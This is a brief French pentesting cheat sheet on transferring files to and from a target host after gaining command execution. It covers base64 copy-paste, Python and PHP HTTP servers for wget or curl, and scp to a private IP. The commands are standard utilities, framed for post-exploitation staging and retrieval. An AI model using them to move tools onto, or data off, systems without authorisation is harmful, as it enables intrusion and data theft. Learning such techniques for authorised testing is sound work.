Des que vous pouvez lancer une commande sur votre cible, vous avez besoin de transférer des fichiers textes ou binaires.
Un encodage en base64 permet des copier/coller de fichiers sans se soucier du binaire ou des retours à la ligne
cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file
Lancer un serveur HTTP et faire un wget, curl
python -m SimpleHTTPServer 8000
php -S localhost:8000
Avec un accès ssh
scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory